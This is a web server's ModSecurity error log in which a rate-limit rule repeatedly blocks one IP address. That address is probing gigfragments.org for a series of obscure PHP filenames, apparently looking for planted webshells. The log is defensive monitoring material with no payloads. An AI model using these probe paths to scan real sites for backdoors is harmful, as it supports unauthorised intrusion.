[Sat Apr 25 18:17:34.449978 2026] [:error] [pid 16107:tid 16160] [client 20.215.66.169:4051] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyUvtIfF7Hy3tw0sYRdTAAAAJc"]
[Sat Apr 25 18:17:34.960467 2026] [:error] [pid 16106:tid 16132] [client 20.215.66.169:13602] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyUviGjdEsrWF7e-7MUuQAAAFY"]
[Sat Apr 25 18:17:35.494458 2026] [:error] [pid 16106:tid 16114] [client 20.215.66.169:13639] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aligk.php"] [unique_id "aeyUvyGjdEsrWF7e-7MUvAAAAEQ"]
[Sat Apr 25 18:17:36.048879 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13634] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyUwDVPLvrpvXaNQOkBygAAAA4"]
[Sat Apr 25 18:17:36.584314 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:13608] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyUwDVPLvrpvXaNQOkBzwAAAAw"]
[Sat Apr 25 18:17:37.148866 2026] [:error] [pid 16106:tid 16126] [client 20.215.66.169:13681] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyUwSGjdEsrWF7e-7MUwQAAAFA"]
[Sat Apr 25 18:17:37.684830 2026] [:error] [pid 16107:tid 16144] [client 20.215.66.169:13535] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byrgo.php"] [unique_id "aeyUwdIfF7Hy3tw0sYRdUgAAAIc"]
[Sat Apr 25 18:17:38.198857 2026] [:error] [pid 16106:tid 16115] [client 20.215.66.169:4053] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyUwiGjdEsrWF7e-7MUyAAAAEU"]
[Sat Apr 25 18:17:38.735134 2026] [:error] [pid 16106:tid 16113] [client 20.215.66.169:4055] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyUwiGjdEsrWF7e-7MU0wAAAEM"]
[Sat Apr 25 18:17:39.283151 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13479] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyUw4bPF4HSQDj6WrlV5wAAAM0"]
[Sat Apr 25 18:17:39.815997 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13532] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "aeyUwzVPLvrpvXaNQOkB2QAAABY"]
[Sat Apr 25 18:17:40.356904 2026] [:error] [pid 16108:tid 16182] [client 20.215.66.169:13665] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyUxIbPF4HSQDj6WrlV6wAAANA"]
[Sat Apr 25 18:17:40.919380 2026] [:error] [pid 16107:tid 16161] [client 20.215.66.169:4038] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyUxNIfF7Hy3tw0sYRdXwAAAJg"]
[Sat Apr 25 18:17:41.455086 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13526] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyUxYbPF4HSQDj6WrlV7wAAANc"]
[Sat Apr 25 18:17:41.988925 2026] [:error] [pid 16108:tid 16176] [client 20.215.66.169:13456] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ass.php"] [unique_id "aeyUxYbPF4HSQDj6WrlV8QAAAMo"]
[Sat Apr 25 18:17:42.500170 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:13633] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyUxobPF4HSQDj6WrlV9AAAAMM"]
[Sat Apr 25 18:17:43.041686 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13477] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyUxzVPLvrpvXaNQOkB7wAAABQ"]
[Sat Apr 25 18:17:43.581065 2026] [:error] [pid 16108:tid 16165] [client 20.215.66.169:13441] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyUx4bPF4HSQDj6WrlV_QAAAME"]
[Sat Apr 25 18:17:44.100107 2026] [:error] [pid 16108:tid 16174] [client 20.215.66.169:13480] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeyUyIbPF4HSQDj6WrlWBAAAAMg"]
[Sat Apr 25 18:17:44.626199 2026] [:error] [pid 16195:tid 16201] [client 20.215.66.169:4068] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyUyDVPLvrpvXaNQOkB-gAAAAM"]
[Sat Apr 25 18:17:45.178397 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13487] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyUyYbPF4HSQDj6WrlWDAAAAM0"]
[Sat Apr 25 18:17:45.746027 2026] [:error] [pid 16106:tid 16125] [client 20.215.66.169:13626] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyUySGjdEsrWF7e-7MU3QAAAE8"]
[Sat Apr 25 18:17:46.307517 2026] [:error] [pid 16106:tid 16111] [client 20.215.66.169:13615] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeyUyiGjdEsrWF7e-7MU3gAAAEE"]
[Sat Apr 25 18:17:46.890995 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13540] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyUyobPF4HSQDj6WrlWFgAAANc"]
[Sat Apr 25 18:17:47.440538 2026] [:error] [pid 16106:tid 16114] [client 20.215.66.169:13465] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyUyyGjdEsrWF7e-7MU3wAAAEQ"]
[Sat Apr 25 18:17:47.995209 2026] [:error] [pid 16108:tid 16176] [client 20.215.66.169:13635] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyUy4bPF4HSQDj6WrlWHgAAAMo"]
[Sat Apr 25 18:17:48.580322 2026] [:error] [pid 16195:tid 16201] [client 20.215.66.169:4044] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeyUzDVPLvrpvXaNQOkCHgAAAAM"]
[Sat Apr 25 18:17:49.125142 2026] [:error] [pid 16195:tid 16216] [client 20.215.66.169:13546] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyUzTVPLvrpvXaNQOkCJAAAABI"]
[Sat Apr 25 18:17:49.662687 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13445] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyUzTVPLvrpvXaNQOkCKgAAABQ"]
[Sat Apr 25 18:17:50.199868 2026] [:error] [pid 16195:tid 16208] [client 20.215.66.169:13650] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyUzjVPLvrpvXaNQOkCMAAAAAo"]
[Sat Apr 25 18:17:50.723243 2026] [:error] [pid 16108:tid 16175] [client 20.215.66.169:13527] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeyUzobPF4HSQDj6WrlWIgAAAMk"]
[Sat Apr 25 18:17:51.238062 2026] [:error] [pid 16108:tid 16165] [client 20.215.66.169:13560] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyUz4bPF4HSQDj6WrlWJQAAAME"]
[Sat Apr 25 18:17:51.774353 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:13607] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyUzyGjdEsrWF7e-7MU5gAAAEc"]
[Sat Apr 25 18:17:52.309512 2026] [:error] [pid 16108:tid 16182] [client 20.215.66.169:4046] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyU0IbPF4HSQDj6WrlWKwAAANA"]
[Sat Apr 25 18:17:52.828174 2026] [:error] [pid 16108:tid 16190] [client 20.215.66.169:4077] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyU0IbPF4HSQDj6WrlWLgAAANg"]
[Sat Apr 25 18:17:53.365689 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:4075] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyU0YbPF4HSQDj6WrlWMwAAANc"]
[Sat Apr 25 18:17:53.903828 2026] [:error] [pid 16108:tid 16186] [client 20.215.66.169:3972] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyU0YbPF4HSQDj6WrlWNgAAANQ"]
[Sat Apr 25 18:17:54.442102 2026] [:error] [pid 16106:tid 16134] [client 20.215.66.169:13552] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyU0iGjdEsrWF7e-7MU_QAAAFg"]
[Sat Apr 25 18:17:54.978706 2026] [:error] [pid 16195:tid 16211] [client 20.215.66.169:13556] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyU0jVPLvrpvXaNQOkCPgAAAA0"]
[Sat Apr 25 18:17:55.489817 2026] [:error] [pid 16195:tid 16213] [client 20.215.66.169:13542] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyU0zVPLvrpvXaNQOkCQgAAAA8"]
[Sat Apr 25 18:17:56.007557 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:4089] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyU1DVPLvrpvXaNQOkCRwAAABE"]
[Sat Apr 25 18:17:56.555995 2026] [:error] [pid 16195:tid 16207] [client 20.215.66.169:13655] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyU1DVPLvrpvXaNQOkCSQAAAAk"]
[Sat Apr 25 18:17:57.116020 2026] [:error] [pid 16108:tid 16185] [client 20.215.66.169:13665] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyU1YbPF4HSQDj6WrlWPgAAANM"]
[Sat Apr 25 18:17:57.651396 2026] [:error] [pid 16195:tid 16218] [client 20.215.66.169:13470] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyU1TVPLvrpvXaNQOkCTgAAABQ"]
[Sat Apr 25 18:17:58.185680 2026] [:error] [pid 16108:tid 16184] [client 20.215.66.169:13565] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyU1obPF4HSQDj6WrlWSAAAANI"]
[Sat Apr 25 18:17:58.723684 2026] [:error] [pid 16108:tid 16164] [client 20.215.66.169:13481] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyU1obPF4HSQDj6WrlWTAAAAMA"]
[Sat Apr 25 18:18:20.545781 2026] [:error] [pid 16108:tid 16178] [client 20.215.66.169:13490] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeyU7IbPF4HSQDj6WrlW1gAAAMw"]
[Sat Apr 25 18:18:21.083485 2026] [:error] [pid 16195:tid 16207] [client 20.215.66.169:13482] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeyU7TVPLvrpvXaNQOkDgAAAAAk"]
[Sat Apr 25 18:18:21.593917 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13474] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeyU7TVPLvrpvXaNQOkDgwAAAA4"]
[Sat Apr 25 18:18:22.108033 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:4041] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeyU7jVPLvrpvXaNQOkDhwAAAAw"]
[Sat Apr 25 18:18:22.620356 2026] [:error] [pid 16108:tid 16181] [client 20.215.66.169:13469] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeyU7obPF4HSQDj6WrlW3QAAAM8"]
[Sat Apr 25 18:18:23.159318 2026] [:error] [pid 16108:tid 16184] [client 20.215.66.169:13651] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeyU74bPF4HSQDj6WrlW3wAAANI"]
[Sat Apr 25 18:18:23.696905 2026] [:error] [pid 16108:tid 16177] [client 20.215.66.169:13472] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeyU74bPF4HSQDj6WrlW4QAAAMs"]
[Sat Apr 25 18:18:24.235264 2026] [:error] [pid 16107:tid 16148] [client 20.215.66.169:13496] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeyU8NIfF7Hy3tw0sYRdrgAAAIs"]
[Sat Apr 25 18:18:24.770307 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:13539] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeyU8IbPF4HSQDj6WrlW5AAAAMI"]
[Sat Apr 25 18:18:25.280148 2026] [:error] [pid 16195:tid 16205] [client 20.215.66.169:13564] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeyU8TVPLvrpvXaNQOkDlgAAAAc"]
